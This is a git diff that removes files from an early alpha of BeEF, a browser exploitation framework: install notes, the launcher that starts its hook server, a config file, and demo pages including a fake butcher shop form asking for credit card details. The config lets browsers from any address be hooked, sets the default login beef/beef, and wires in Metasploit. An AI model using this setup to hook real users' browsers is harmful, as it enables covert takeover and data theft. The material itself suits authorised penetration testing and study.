diff --git a/INSTALL b/INSTALL deleted file mode 100644 index 5af36bae4..000000000 --- a/INSTALL +++ /dev/null @@ -1,57 +0,0 @@ -Most of the contents of this file will eventually be added to /install.rb. In the meantime tips, hints and guides for installing beef should be kept here. - -============================================= - - 1. Prerequisites (platform independent) - 2. Prerequisites (Windows) - 3. Prerequisites (Linux) - 4. Prerequisites (Mac OSX) - 5. Install instructions - - - - 1. Prerequisites (platform independent) - - Beef requires ruby 1.8 - - - 2. Prerequisites (Windows) - - Windows requires the sqlite.dll. Simply grab the zip file below and extract it to your Ruby bin directory: - - http://www.sqlite.org/sqlitedll-3_7_0_1.zip - - - 3. Prerequisites (Linux) - - !!! This must be done PRIOR to running the Beef installer !!! - - On linux you will need to find the packages specific to your distribution for sqlite. An example for Ubuntu systems is: - - sudo apt-get install libsqlite3-dev sqlite3 sqlite3-doc - - - You also need to install the ruby-dev package (required for mkmf) - - sudo apt-get install ruby-dev - - - 4. Prerequisites (Mac OSX) - - Make sure you have XCode installed - which provided the sqlite support Beef needs - - - 5. Install instructions - - Obtain application code either by downloading an archive from http://code.google.com/p/beef/downloads/list or checking out the source from http://code.google.com/p/beef/source/checkout - - Navigate to the ruby source directory and run: - - ruby install.rb - - The installer verifies required gems, including any specific version dependencies, as well as performing a 'gem update --system' - - The installer offers a choice of auto-installing missing gems or provides the command so you can install gems manually - - The installer advises of the default username and password - diff --git a/VERSION b/VERSION deleted file mode 100644 index ecb9a36fd..000000000 --- a/VERSION +++ /dev/null @@ -1 +0,0 @@ -0.4.2.4-alpha diff --git a/beef.rb b/beef.rb deleted file mode 100644 index c8ca80226..000000000 --- a/beef.rb +++ /dev/null @@ -1,38 +0,0 @@ -$:.unshift(File.join(File.expand_path(File.dirname(__FILE__)), '.')) - -$root_dir = File.expand_path('..', __FILE__) - -require 'lib/loader' - -# load config -config = BeEF::Configuration.instance - -# disable reverse dns -Socket.do_not_reverse_lookup = true - -# setup database -DataMapper.setup(:default, "sqlite3://#{$root_dir}/#{config.get("database_file_name")}") - -options = BeEF::Console::CommandLine.parse - -if options[:resetdb] - DataMapper.auto_migrate! - BeEF::Migration.instance.update_db! -else - DataMapper.auto_upgrade! -end - -# check for new command modules -BeEF::Migration.instance.update_db! - -BeEF::Console::Banner.generate - -# start the http proxy if enabled in config.ini -if (config.get('http_proxy_enable').to_i > 0) - http_proxy_zombie = BeEF::HttpProxyZombie.instance - http_proxy_zombie.start -end - -# start the hook server -http_hook_server = BeEF::HttpHookServer.instance -http_hook_server.start diff --git a/config.ini b/config.ini deleted file mode 100644 index 87faeffb1..000000000 --- a/config.ini +++ /dev/null @@ -1,51 +0,0 @@ -beef_version = '0.4.2.4-alpha' - -# subnet of browser ip addresses that can hook to the framework -permitted_hooking_subnet = "0.0.0.0/0" - -# subnet of browser ip addresses that can connect to the UI -#permitted_ui_subnet = "127.0.0.1/32" -permitted_ui_subnet = "0.0.0.0/0" - -http_host = "0.0.0.0" -http_port = "3000" -http_dns = "localhost" - -# if running behind a nat set the public ip address here -#http_public = "66.102.11.104" - -http_proxy_enable = 1 -http_proxy_bind_address = "127.0.0.1" -http_proxy_bind_port = "6789" - -http_demo_path = "/demos/basic.html" -http_panel_path = "/ui/panel" -hook_file = "/hook.js" - -ui_username = "beef" -ui_password = "beef" - -hook_session_name="BEEFHOOK" -session_cookie_name="BEEFSESSION" - -crypto_default_value_length=80 -login_fail_delay=1 # in seconds - -database_file_name = "beef.db" - -favicon_file_name = "favicon.ico" -favicon_dir = "/public/images" - - -# Enable MSF by changing enable_msf to 1 -# Then set msf_callback_host to be the public IP of your MSF server -# Ensure you load the xmlrpc interface in Metasploit -# msf > load xmlrpc Pass=abc123 ServerType=Web -# -enable_msf = 0 -msf_host = "127.0.0.1" -msf_path = "/RPC2" -msf_port = 55553 -msf_user = "msf" -msf_pass = "abc123" -msf_callback_host = "127.0.0.1" diff --git a/demos/basic.html b/demos/basic.html deleted file mode 100644 index f30f7ef54..000000000 --- a/demos/basic.html +++ /dev/null @@ -1,32 +0,0 @@ - - - BeEF Basic Demo - - - - - You should be hooked into BeEF. -

- Have fun while your browser is working against you. -

- -

- These links are for demonstrating the "collect links" command module
-

-

- -

- You can also load up a more advanced demo page here -

- - - diff --git a/demos/butcher/butch.css b/demos/butcher/butch.css deleted file mode 100644 index b113f2e5e..000000000 --- a/demos/butcher/butch.css +++ /dev/null @@ -1,59 +0,0 @@ -html { - height: 100%; -} -body { - background: #fff; - padding: 0; - margin: 0; - height: 100%; -} -#content { - position: relative; - width: 800px; - height: 100%; - margin-left: auto; - margin-right: auto; - /*border: solid 1px black;*/ - background-image: url("right.jpg"); - background-repeat: no-repeat; - background-position: right top; -} - -#logo { - position: absolute; - top: 0; - left: 0; - width: 368px; -} -#stuff { - position: relative; - /*border: solid 1px red;*/ - top: 200px; - width: 420px; -} -.bigger { - font-family: "Lucida Sans", arial; - font-size: 18px; -} -.normal { - padding-top: 20px; - font-family: "Lucida Sans", arial; - font-size: 14px; -} -.smaller { - padding-top: 20px; - font-family: "Lucida Sans", arial; - font-size: 8px; -} -#friends { - display: none; - padding-top: 20px; -} -#hamper { - display: none; - padding-top: 20px; -} -a:link {color:#000;} /* unvisited link */ -a:visited {color:#000} /* visited link */ -a:hover {color:#000;} /* mouse over link */ -a:active {color:#000;} /* selected link */ \ No newline at end of file diff --git a/demos/butcher/index.html b/demos/butcher/index.html deleted file mode 100644 index 9e3903091..000000000 --- a/demos/butcher/index.html +++ /dev/null @@ -1,62 +0,0 @@ - - - - - - The Butcher - - - - - - - -
- - -
-
-Welcome to The Butcher, your source of delicious meats. Please feel free to view our samples, sign up to our mailing-list or purchase our special BeEF-hamper! -
-
-   - -
- Delicious delicious hamper, straight to your door!
-
Name:
- Phone:
- Address:
- Credit Card:
- -
-
-
-
- Thanks to http://www.flickr.com/photos/bulle_de/ and http://dineSarasota.com for the BeEF images -
-
-
- - diff --git a/demos/butcher/jquery-1.5.min.js b/demos/butcher/jquery-1.5.min.js deleted file mode 100644 index 9144b8ae9..000000000 --- a/demos/butcher/jquery-1.5.min.js +++ /dev/null @@ -1,16 +0,0 @@ -/*! - * jQuery JavaScript Library v1.5 - * http://jquery.com/ - * - * Copyright 2011, John Resig - * Dual licensed under the MIT or GPL Version 2 licenses. - * http://jquery.org/license - * - * Includes Sizzle.js - * http://sizzlejs.com/ - * Copyright 2011, The Dojo Foundation - * Released under the MIT, BSD, and GPL Licenses. - * - * Date: Mon Jan 31 08:31:29 2011 -0500 - */ -(function(a,b){function b$(a){return d.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function bX(a){if(!bR[a]){var b=d("<"+a+">").appendTo("body"),c=b.css("display");b.remove();if(c==="none"||c==="")c="block";bR[a]=c}return bR[a]}function bW(a,b){var c={};d.each(bV.concat.apply([],bV.slice(0,b)),function(){c[this]=a});return c}function bJ(a,c){a.dataFilter&&(c=a.dataFilter(c,a.dataType));var e=a.dataTypes,f=a.converters,g,h=e.length,i,j=e[0],k,l,m,n,o;for(g=1;g=0===c})}function N(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function F(a,b){return(a&&a!=="*"?a+".":"")+b.replace(q,"`").replace(r,"&")}function E(a){var b,c,e,f,g,h,i,j,k,l,m,n,p,q=[],r=[],s=d._data(this,u);typeof s==="function"&&(s=s.events);if(a.liveFired!==this&&s&&s.live&&!a.target.disabled&&(!a.button||a.type!=="click")){a.namespace&&(n=new RegExp("(^|\\.)"+a.namespace.split(".").join("\\.(?:.*\\.)?")+"(\\.|$)")),a.liveFired=this;var t=s.live.slice(0);for(i=0;ic)break;a.currentTarget=f.elem,a.data=f.handleObj.data,a.handleObj=f.handleObj,p=f.handleObj.origHandler.apply(f.elem,arguments);if(p===!1||a.isPropagationStopped()){c=f.level,p===!1&&(b=!1);if(a.isImmediatePropagationStopped())break}}return b}}function C(a,b,c){c[0].type=a;return d.event.handle.apply(b,c)}function w(){return!0}function v(){return!1}function f(a,c,f){if(f===b&&a.nodeType===1){f=a.getAttribute("data-"+c);if(typeof f==="string"){try{f=f==="true"?!0:f==="false"?!1:f==="null"?null:d.isNaN(f)?e.test(f)?d.parseJSON(f):f:parseFloat(f)}catch(g){}d.data(a,c,f)}else f=b}return f}var c=a.document,d=function(){function I(){if(!d.isReady){try{c.documentElement.doScroll("left")}catch(a){setTimeout(I,1);return}d.ready()}}var d=function(a,b){return new d.fn.init(a,b,g)},e=a.jQuery,f=a.$,g,h=/^(?:[^<]*(<[\w\W]+>)[^>]*$|#([\w\-]+)$)/,i=/\S/,j=/^\s+/,k=/\s+$/,l=/\d/,m=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,n=/^[\],:{}\s]*$/,o=/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,p=/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,q=/(?:^|:|,)(?:\s*\[)+/g,r=/(webkit)[ \/]([\w.]+)/,s=/(opera)(?:.*version)?[ \/]([\w.]+)/,t=/(msie) ([\w.]+)/,u=/(mozilla)(?:.*? rv:([\w.]+))?/,v=navigator.userAgent,w,x=!1,y,z="then done fail isResolved isRejected promise".split(" "),A,B=Object.prototype.toString,C=Object.prototype.hasOwnProperty,D=Array.prototype.push,E=Array.prototype.slice,F=String.prototype.trim,G=Array.prototype.indexOf,H={};d.fn=d.prototype={constructor:d,init:function(a,e,f){var g,i,j,k;if(!a)return this;if(a.nodeType){this.context=this[0]=a,this.length=1;return this}if(a==="body"&&!e&&c.body){this.context=c,this[0]=c.body,this.selector="body",this.length=1;return this}if(typeof a==="string"){g=h.exec(a);if(!g||!g[1]&&e)return!e||e.jquery?(e||f).find(a):this.constructor(e).find(a);if(g[1]){e=e instanceof d?e[0]:e,k=e?e.ownerDocument||e:c,j=m.exec(a),j?d.isPlainObject(e)?(a=[c.createElement(j[1])],d.fn.attr.call(a,e,!0)):a=[k.createElement(j[1])]:(j=d.buildFragment([g[1]],[k]),a=(j.cacheable?d.clone(j.fragment):j.fragment).childNodes);return d.merge(this,a)}i=c.getElementById(g[2]);if(i&&i.parentNode){if(i.id!==g[2])return f.find(a);this.length=1,this[0]=i}this.context=c,this.selector=a;return this}if(d.isFunction(a))return f.ready(a);a.selector!==b&&(this.selector=a.selector,this.context=a.context);return d.makeArray(a,this)},selector:"",jquery:"1.5",length:0,size:function(){return this.length},toArray:function(){return E.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this[this.length+a]:this[a]},pushStack:function(a,b,c){var e=this.constructor();d.isArray(a)?D.apply(e,a):d.merge(e,a),e.prevObject=this,e.context=this.context,b==="find"?e.selector=this.selector+(this.selector?" ":"")+c:b&&(e.selector=this.selector+"."+b+"("+c+")");return e},each:function(a,b){return d.each(this,a,b)},ready:function(a){d.bindReady(),y.done(a);return this},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(E.apply(this,arguments),"slice",E.call(arguments).join(","))},map:function(a){return this.pushStack(d.map(this,function(b,c){return a.call(b,c,b)}))},end:function(){return this.prevObject||this.constructor(null)},push:D,sort:[].sort,splice:[].splice},d.fn.init.prototype=d.fn,d.extend=d.fn.extend=function(){var a,c,e,f,g,h,i=arguments[0]||{},j=1,k=arguments.length,l=!1;typeof i==="boolean"&&(l=i,i=arguments[1]||{},j=2),typeof i!=="object"&&!d.isFunction(i)&&(i={}),k===j&&(i=this,--j);for(;j0)return;y.resolveWith(c,[d]),d.fn.trigger&&d(c).trigger("ready").unbind("ready")}},bindReady:function(){if(!x){x=!0;if(c.readyState==="complete")return setTimeout(d.ready,1);if(c.addEventListener)c.addEventListener("DOMContentLoaded",A,!1),a.addEventListener("load",d.ready,!1);else if(c.attachEvent){c.attachEvent("onreadystatechange",A),a.attachEvent("onload",d.ready);var b=!1;try{b=a.frameElement==null}catch(e){}c.documentElement.doScroll&&b&&I()}}},isFunction:function(a){return d.type(a)==="function"},isArray:Array.isArray||function(a){return d.type(a)==="array"},isWindow:function(a){return a&&typeof a==="object"&&"setInterval"in a},isNaN:function(a){return a==null||!l.test(a)||isNaN(a)},type:function(a){return a==null?String(a):H[B.call(a)]||"object"},isPlainObject:function(a){if(!a||d.type(a)!=="object"||a.nodeType||d.isWindow(a))return!1;if(a.constructor&&!C.call(a,"constructor")&&!C.call(a.constructor.prototype,"isPrototypeOf"))return!1;var c;for(c in a){}return c===b||C.call(a,c)},isEmptyObject:function(a){for(var b in a)return!1;return!0},error:function(a){throw a},parseJSON:function(b){if(typeof b!=="string"||!b)return null;b=d.trim(b);if(n.test(b.replace(o,"@").replace(p,"]").replace(q,"")))return a.JSON&&a.JSON.parse?a.JSON.parse(b):(new Function("return "+b))();d.error("Invalid JSON: "+b)},parseXML:function(b,c,e){a.DOMParser?(e=new DOMParser,c=e.parseFromString(b,"text/xml")):(c=new ActiveXObject("Microsoft.XMLDOM"),c.async="false",c.loadXML(b)),e=c.documentElement,(!e||!e.nodeName||e.nodeName==="parsererror")&&d.error("Invalid XML: "+b);return c},noop:function(){},globalEval:function(a){if(a&&i.test(a)){var b=c.getElementsByTagName("head")[0]||c.documentElement,e=c.createElement("script");e.type="text/javascript",d.support.scriptEval()?e.appendChild(c.createTextNode(a)):e.text=a,b.insertBefore(e,b.firstChild),b.removeChild(e)}},nodeName:function(a,b){return a.nodeName&&a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,c,e){var f,g=0,h=a.length,i=h===b||d.isFunction(a);if(e){if(i){for(f in a)if(c.apply(a[f],e)===!1)break}else for(;g1?(g=Array(c),d.each(b,function(a,b){d.when(b).then(function(b){g[a]=arguments.length>1?E.call(arguments,0):b,--c||e.resolveWith(f,g)},e.reject)})):e!==a&&e.resolve(a);return f},uaMatch:function(a){a=a.toLowerCase();var b=r.exec(a)||s.exec(a)||t.exec(a)||a.indexOf("compatible")<0&&u.exec(a)||[];return{browser:b[1]||"",version:b[2]||"0"}},sub:function(){function a(b,c){return new a.fn.init(b,c)}d.extend(!0,a,this),a.superclass=this,a.fn=a.prototype=this(),a.fn.constructor=a,a.subclass=this.subclass,a.fn.init=function b(b,c){c&&c instanceof d&&!(c instanceof a)&&(c=a(c));return d.fn.init.call(this,b,c,e)},a.fn.init.prototype=a.fn;var e=a(c);return a},browser:{}}),y=d._Deferred(),d.each("Boolean Number String Function Array Date RegExp Object".split(" "),function(a,b){H["[object "+b+"]"]=b.toLowerCase()}),w=d.uaMatch(v),w.browser&&(d.browser[w.browser]=!0,d.browser.version=w.version),d.browser.webkit&&(d.browser.safari=!0),G&&(d.inArray=function(a,b){return G.call(b,a)}),i.test(" ")&&(j=/^[\s\xA0]+/,k=/[\s\xA0]+$/),g=d(c),c.addEventListener?A=function(){c.removeEventListener("DOMContentLoaded",A,!1),d.ready()}:c.attachEvent&&(A=function(){c.readyState==="complete"&&(c.detachEvent("onreadystatechange",A),d.ready())});return a.jQuery=a.$=d}();(function(){d.support={};var b=c.createElement("div");b.style.display="none",b.innerHTML="
a";var e=b.getElementsByTagName("*"),f=b.getElementsByTagName("a")[0],g=c.createElement("select"),h=g.appendChild(c.createElement("option"));if(e&&e.length&&f){d.support={leadingWhitespace:b.firstChild.nodeType===3,tbody:!b.getElementsByTagName("tbody").length,htmlSerialize:!!b.getElementsByTagName("link").length,style:/red/.test(f.getAttribute("style")),hrefNormalized:f.getAttribute("href")==="/a",opacity:/^0.55$/.test(f.style.opacity),cssFloat:!!f.style.cssFloat,checkOn:b.getElementsByTagName("input")[0].value==="on",optSelected:h.selected,deleteExpando:!0,optDisabled:!1,checkClone:!1,_scriptEval:null,noCloneEvent:!0,boxModel:null,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableHiddenOffsets:!0},g.disabled=!0,d.support.optDisabled=!h.disabled,d.support.scriptEval=function(){if(d.support._scriptEval===null){var b=c.documentElement,e=c.createElement("script"),f="script"+d.now();e.type="text/javascript";try{e.appendChild(c.createTextNode("window."+f+"=1;"))}catch(g){}b.insertBefore(e,b.firstChild),a[f]?(d.support._scriptEval=!0,delete a[f]):d.support._scriptEval=!1,b.removeChild(e),b=e=f=null}return d.support._scriptEval};try{delete b.test}catch(i){d.support.deleteExpando=!1}b.attachEvent&&b.fireEvent&&(b.attachEvent("onclick",function j(){d.support.noCloneEvent=!1,b.detachEvent("onclick",j)}),b.cloneNode(!0).fireEvent("onclick")),b=c.createElement("div"),b.innerHTML="";var k=c.createDocumentFragment();k.appendChild(b.firstChild),d.support.checkClone=k.cloneNode(!0).cloneNode(!0).lastChild.checked,d(function(){var a=c.createElement("div"),b=c.getElementsByTagName("body")[0];if(b){a.style.width=a.style.paddingLeft="1px",b.appendChild(a),d.boxModel=d.support.boxModel=a.offsetWidth===2,"zoom"in a.style&&(a.style.display="inline",a.style.zoom=1,d.support.inlineBlockNeedsLayout=a.offsetWidth===2,a.style.display="",a.innerHTML="
",d.support.shrinkWrapBlocks=a.offsetWidth!==2),a.innerHTML="
t
";var e=a.getElementsByTagName("td");d.support.reliableHiddenOffsets=e[0].offsetHeight===0,e[0].style.display="",e[1].style.display="none",d.support.reliableHiddenOffsets=d.support.reliableHiddenOffsets&&e[0].offsetHeight===0,a.innerHTML="",b.removeChild(a).style.display="none",a=e=null}});var l=function(a){var b=c.createElement("div");a="on"+a;if(!b.attachEvent)return!0;var d=a in b;d||(b.setAttribute(a,"return;"),d=typeof b[a]==="function"),b=null;return d};d.support.submitBubbles=l("submit"),d.support.changeBubbles=l("change"),b=e=f=null}})();var e=/^(?:\{.*\}|\[.*\])$/;d.extend({cache:{},uuid:0,expando:"jQuery"+(d.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(a){a=a.nodeType?d.cache[a[d.expando]]:a[d.expando];return!!a&&!d.isEmptyObject(a)},data:function(a,c,e,f){if(d.acceptData(a)){var g=d.expando,h=typeof c==="string",i,j=a.nodeType,k=j?d.cache:a,l=j?a[d.expando]:a[d.expando]&&d.expando;if((!l||f&&l&&!k[l][g])&&h&&e===b)return;l||(j?a[d.expando]=l=++d.uuid:l=d.expando),k[l]||(k[l]={}),typeof c==="object"&&(f?k[l][g]=d.extend(k[l][g],c):k[l]=d.extend(k[l],c)),i=k[l],f&&(i[g]||(i[g]={}),i=i[g]),e!==b&&(i[c]=e);if(c==="events"&&!i[c])return i[g]&&i[g].events;return h?i[c]:i}},removeData:function(b,c,e){if(d.acceptData(b)){var f=d.expando,g=b.nodeType,h=g?d.cache:b,i=g?b[d.expando]:d.expando;if(!h[i])return;if(c){var j=e?h[i][f]:h[i];if(j){delete j[c];if(!d.isEmptyObject(j))return}}if(e){delete h[i][f];if(!d.isEmptyObject(h[i]))return}var k=h[i][f];d.support.deleteExpando||h!=a?delete h[i]:h[i]=null,k?(h[i]={},h[i][f]=k):g&&(d.support.deleteExpando?delete b[d.expando]:b.removeAttribute?b.removeAttribute(d.expando):b[d.expando]=null)}},_data:function(a,b,c){return d.data(a,b,c,!0)},acceptData:function(a){if(a.nodeName){var b=d.noData[a.nodeName.toLowerCase()];if(b)return b!==!0&&a.getAttribute("classid")===b}return!0}}),d.fn.extend({data:function(a,c){var e=null;if(typeof a==="undefined"){if(this.length){e=d.data(this[0]);if(this[0].nodeType===1){var g=this[0].attributes,h;for(var i=0,j=g.length;i-1)return!0;return!1},val:function(a){if(!arguments.length){var c=this[0];if(c){if(d.nodeName(c,"option")){var e=c.attributes.value;return!e||e.specified?c.value:c.text}if(d.nodeName(c,"select")){var f=c.selectedIndex,g=[],h=c.options,j=c.type==="select-one";if(f<0)return null;for(var k=j?f:0,l=j?f+1:h.length;k=0;else if(d.nodeName(this,"select")){var f=d.makeArray(e);d("option",this).each(function(){this.selected=d.inArray(d(this).val(),f)>=0}),f.length||(this.selectedIndex=-1)}else this.value=e}})}}),d.extend({attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attr:function(a,c,e,f){if(!a||a.nodeType===3||a.nodeType===8||a.nodeType===2)return b;if(f&&c in d.attrFn)return d(a)[c](e);var g=a.nodeType!==1||!d.isXMLDoc(a),h=e!==b;c=g&&d.props[c]||c;if(a.nodeType===1){var i=j.test(c);if(c==="selected"&&!d.support.optSelected){var n=a.parentNode;n&&(n.selectedIndex,n.parentNode&&n.parentNode.selectedIndex)}if((c in a||a[c]!==b)&&g&&!i){h&&(c==="type"&&k.test(a.nodeName)&&a.parentNode&&d.error("type property can't be changed"),e===null?a.nodeType===1&&a.removeAttribute(c):a[c]=e);if(d.nodeName(a,"form")&&a.getAttributeNode(c))return a.getAttributeNode(c).nodeValue;if(c==="tabIndex"){var o=a.getAttributeNode("tabIndex");return o&&o.specified?o.value:l.test(a.nodeName)||m.test(a.nodeName)&&a.href?0:b}return a[c]}if(!d.support.style&&g&&c==="style"){h&&(a.style.cssText=""+e);return a.style.cssText}h&&a.setAttribute(c,""+e);if(!a.attributes[c]&&(a.hasAttribute&&!a.hasAttribute(c)))return b;var p=!d.support.hrefNormalized&&g&&i?a.getAttribute(c,2):a.getAttribute(c);return p===null?b:p}h&&(a[c]=e);return a[c]}});var o=/\.(.*)$/,p=/^(?:textarea|input|select)$/i,q=/\./g,r=/ /g,s=/[^\w\s.|`]/g,t=function(a){return a.replace(s,"\\$&")},u="events";d.event={add:function(c,e,f,g){if(c.nodeType!==3&&c.nodeType!==8){d.isWindow(c)&&(c!==a&&!c.frameElement)&&(c=a);if(f===!1)f=v;else if(!f)return;var h,i;f.handler&&(h=f,f=h.handler),f.guid||(f.guid=d.guid++);var j=d._data(c);if(!j)return;var k=j[u],l=j.handle;typeof k==="function"?(l=k.handle,k=k.events):k||(c.nodeType||(j[u]=j=function(){}),j.events=k={}),l||(j.handle=l=function(){return typeof d!=="undefined"&&!d.event.triggered?d.event.handle.apply(l.elem,arguments):b}),l.elem=c,e=e.split(" ");var m,n=0,o;while(m=e[n++]){i=h?d.extend({},h):{handler:f,data:g},m.indexOf(".")>-1?(o=m.split("."),m=o.shift(),i.namespace=o.slice(0).sort().join(".")):(o=[],i.namespace=""),i.type=m,i.guid||(i.guid=f.guid);var p=k[m],q=d.event.special[m]||{};if(!p){p=k[m]=[];if(!q.setup||q.setup.call(c,g,o,l)===!1)c.addEventListener?c.addEventListener(m,l,!1):c.attachEvent&&c.attachEvent("on"+m,l)}q.add&&(q.add.call(c,i),i.handler.guid||(i.handler.guid=f.guid)),p.push(i),d.event.global[m]=!0}c=null}},global:{},remove:function(a,c,e,f){if(a.nodeType!==3&&a.nodeType!==8){e===!1&&(e=v);var g,h,i,j,k=0,l,m,n,o,p,q,r,s=d.hasData(a)&&d._data(a),w=s&&s[u];if(!s||!w)return;typeof w==="function"&&(s=w,w=w.events),c&&c.type&&(e=c.handler,c=c.type);if(!c||typeof c==="string"&&c.charAt(0)==="."){c=c||"";for(h in w)d.event.remove(a,h+c);return}c=c.split(" ");while(h=c[k++]){r=h,q=null,l=h.indexOf(".")<0,m=[],l||(m=h.split("."),h=m.shift(),n=new RegExp("(^|\\.)"+d.map(m.slice(0).sort(),t).join("\\.(?:.*\\.)?")+"(\\.|$)")),p=w[h];if(!p)continue;if(!e){for(j=0;j=0&&(a.type=f=f.slice(0,-1),a.exclusive=!0),e||(a.stopPropagation(),d.event.global[f]&&d.each(d.cache,function(){var b=d.expando,e=this[b];e&&e.events&&e.events[f]&&d.event.trigger(a,c,e.handle.elem)}));if(!e||e.nodeType===3||e.nodeType===8)return b;a.result=b,a.target=e,c=d.makeArray(c),c.unshift(a)}a.currentTarget=e;var h=e.nodeType?d._data(e,"handle"):(d._data(e,u)||{}).handle;h&&h.apply(e,c);var i=e.parentNode||e.ownerDocument;try{e&&e.nodeName&&d.noData[e.nodeName.toLowerCase()]||e["on"+f]&&e["on"+f].apply(e,c)===!1&&(a.result=!1,a.preventDefault())}catch(j){}if(!a.isPropagationStopped()&&i)d.event.trigger(a,c,i,!0);else if(!a.isDefaultPrevented()){var k,l=a.target,m=f.replace(o,""),n=d.nodeName(l,"a")&&m==="click",p=d.event.special[m]||{};if((!p._default||p._default.call(e,a)===!1)&&!n&&!(l&&l.nodeName&&d.noData[l.nodeName.toLowerCase()])){try{l[m]&&(k=l["on"+m],k&&(l["on"+m]=null),d.event.triggered=!0,l[m]())}catch(q){}k&&(l["on"+m]=k),d.event.triggered=!1}}},handle:function(c){var e,f,g,h,i,j=[],k=d.makeArray(arguments);c=k[0]=d.event.fix(c||a.event),c.currentTarget=this,e=c.type.indexOf(".")<0&&!c.exclusive,e||(g=c.type.split("."),c.type=g.shift(),j=g.slice(0).sort(),h=new RegExp("(^|\\.)"+j.join("\\.(?:.*\\.)?")+"(\\.|$)")),c.namespace=c.namespace||j.join("."),i=d._data(this,u),typeof i==="function"&&(i=i.events),f=(i||{})[c.type];if(i&&f){f=f.slice(0);for(var l=0,m=f.length;l-1?d.map(a.options,function(a){return a.selected}).join("-"):"":a.nodeName.toLowerCase()==="select"&&(c=a.selectedIndex);return c},B=function B(a){var c=a.target,e,f;if(p.test(c.nodeName)&&!c.readOnly){e=d._data(c,"_change_data"),f=A(c),(a.type!=="focusout"||c.type!=="radio")&&d._data(c,"_change_data",f);if(e===b||f===e)return;if(e!=null||f){a.type="change",a.liveFired=b;return d.event.trigger(a,arguments[1],c)}}};d.event.special.change={filters:{focusout:B,beforedeactivate:B,click:function(a){var b=a.target,c=b.type;if(c==="radio"||c==="checkbox"||b.nodeName.toLowerCase()==="select")return B.call(this,a)},keydown:function(a){var b=a.target,c=b.type;if(a.keyCode===13&&b.nodeName.toLowerCase()!=="textarea"||a.keyCode===32&&(c==="checkbox"||c==="radio")||c==="select-multiple")return B.call(this,a)},beforeactivate:function(a){var b=a.target;d._data(b,"_change_data",A(b))}},setup:function(a,b){if(this.type==="file")return!1;for(var c in z)d.event.add(this,c+".specialChange",z[c]);return p.test(this.nodeName)},teardown:function(a){d.event.remove(this,".specialChange");return p.test(this.nodeName)}},z=d.event.special.change.filters,z.focus=z.beforeactivate}c.addEventListener&&d.each({focus:"focusin",blur:"focusout"},function(a,b){function c(a){a=d.event.fix(a),a.type=b;return d.event.handle.call(this,a)}d.event.special[b]={setup:function(){this.addEventListener(a,c,!0)},teardown:function(){this.removeEventListener(a,c,!0)}}}),d.each(["bind","one"],function(a,c){d.fn[c]=function(a,e,f){if(typeof a==="object"){for(var g in a)this[c](g,e,a[g],f);return this}if(d.isFunction(e)||e===!1)f=e,e=b;var h=c==="one"?d.proxy(f,function(a){d(this).unbind(a,h);return f.apply(this,arguments)}):f;if(a==="unload"&&c!=="one")this.one(a,e,f);else for(var i=0,j=this.length;i0?this.bind(b,a,c):this.trigger(b)},d.attrFn&&(d.attrFn[b]=!0)}),function(){function s(a,b,c,d,e,f){for(var g=0,h=d.length;g0){k=j;break}}j=j[a]}d[g]=k}}}function r(a,b,c,d,e,f){for(var g=0,h=d.length;g+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,e=0,f=Object.prototype.toString,g=!1,h=!0;[0,0].sort(function(){h=!1;return 0});var i=function(b,d,e,g){e=e||[],d=d||c;var h=d;if(d.nodeType!==1&&d.nodeType!==9)return[];if(!b||typeof b!=="string")return e;var l,m,o,p,q,r,s,u,v=!0,w=i.isXML(d),x=[],y=b;do{a.exec(""),l=a.exec(y);if(l){y=l[3],x.push(l[1]);if(l[2]){p=l[3];break}}}while(l);if(x.length>1&&k.exec(b))if(x.length===2&&j.relative[x[0]])m=t(x[0]+x[1],d);else{m=j.relative[x[0]]?[d]:i(x.shift(),d);while(x.length)b=x.shift(),j.relative[b]&&(b+=x.shift()),m=t(b,m)}else{!g&&x.length>1&&d.nodeType===9&&!w&&j.match.ID.test(x[0])&&!j.match.ID.test(x[x.length-1])&&(q=i.find(x.shift(),d,w),d=q.expr?i.filter(q.expr,q.set)[0]:q.set[0]);if(d){q=g?{expr:x.pop(),set:n(g)}:i.find(x.pop(),x.length===1&&(x[0]==="~"||x[0]==="+")&&d.parentNode?d.parentNode:d,w),m=q.expr?i.filter(q.expr,q.set):q.set,x.length>0?o=n(m):v=!1;while(x.length)r=x.pop(),s=r,j.relative[r]?s=x.pop():r="",s==null&&(s=d),j.relative[r](o,s,w)}else o=x=[]}o||(o=m),o||i.error(r||b);if(f.call(o)==="[object Array]")if(v)if(d&&d.nodeType===1)for(u=0;o[u]!=null;u++)o[u]&&(o[u]===!0||o[u].nodeType===1&&i.contains(d,o[u]))&&e.push(m[u]);else for(u=0;o[u]!=null;u++)o[u]&&o[u].nodeType===1&&e.push(m[u]);else e.push.apply(e,o);else n(o,e);p&&(i(p,h,e,g),i.uniqueSort(e));return e};i.uniqueSort=function(a){if(p){g=h,a.sort(p);if(g)for(var b=1;b0},i.find=function(a,b,c){var d;if(!a)return[];for(var e=0,f=j.order.length;e":function(a,b){var c,d=typeof b==="string",e=0,f=a.length;if(d&&!/\W/.test(b)){b=b.toLowerCase();for(;e=0)?c||d.push(h):c&&(b[g]=!1));return!1},ID:function(a){return a[1].replace(/\\/g,"")},TAG:function(a,b){return a[1].toLowerCase()},CHILD:function(a){if(a[1]==="nth"){a[2]||i.error(a[0]),a[2]=a[2].replace(/^\+|\s*/g,"");var b=/(-?)(\d*)(?:n([+\-]?\d*))?/.exec(a[2]==="even"&&"2n"||a[2]==="odd"&&"2n+1"||!/\D/.test(a[2])&&"0n+"+a[2]||a[2]);a[2]=b[1]+(b[2]||1)-0,a[3]=b[3]-0}else a[2]&&i.error(a[0]);a[0]=e++;return a},ATTR:function(a,b,c,d,e,f){var 